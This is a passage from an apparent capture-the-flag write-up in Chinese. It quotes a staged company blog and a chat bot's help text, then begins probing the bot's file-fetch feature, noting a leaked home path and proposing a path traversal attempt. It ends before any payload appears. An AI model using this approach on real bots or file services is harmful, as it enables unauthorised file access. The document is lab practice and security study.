testMicheal please remove the secret from drafts for gods sake!
Hello employees of Blunder Tiffin,
Due to the orders from higher officials, every employee who were added to this blog is removed and they are migrated to our new chat system.
So, I kindly request you all to take your discussions from the public blog to a more private chat system.

Michael, you have to stop putting secrets in the drafts. It is a huge security issue and you have to stop doing it. -Nick

其中提到了一个新员工聊天系统的秘密网址

这里提到有人在该频道中添加了一个新的机器人，只需要输入recyclops help机器人就会告诉你可以做什么
Hello. I am Recyclops. A bot assigned by Dwight. I will have my revenge on earthlings, but before that, I have to help my Cool friend Dwight to respond to the annoying questions asked by his co-workers, so that he may use his valuable time to... well, not interact with his co-workers.
Most frequently asked questions include:
- What time is it?
- What new files are in your sales directory?
- Why did the salesman crossed the road?
- What's the content of file x in your sales directory? etc.
Please note that I am a beta version and I still have some bugs to be fixed.
How to use me ? :
1. Small Talk:
You can ask me how dwight's weekend was, or did he watched the game last night etc.
eg: 'recyclops how was your weekend?' or 'recyclops did you watched the game last night?' or 'recyclops what kind of bear is the best?
2. Joke:
You can ask me Why the salesman crossed the road.
eg: 'recyclops why did the salesman crossed the road?'
<=====The following two features are for those boneheads, who still don't know how to use scp. I'm Looking at you Kevin.=====>
For security reasons, the access is limited to the Sales folder.
3. Files:
eg: 'recyclops get me the file test.txt', or 'recyclops could you send me the file src/test.php' or just 'recyclops file test.txt'
4. List:
You can ask me to list the files
5. Time:
You can ask me to what the time is
eg: 'recyclops what time is it?' or just 'recyclops time'
然后机器人给出了自己的用法
漏洞利用
目前可知的信息
我们有了一个可以互动的机器人 recyclops 机器人可以帮我们获得文件 我们无法在频道内发言
OK，到这里思路就很清晰了，我们去找机器人私聊
这里要求他读取test.txt文件
回复文件/home/dwight/sales/test.txt文件不存在，尝试一下是否可以路径穿越
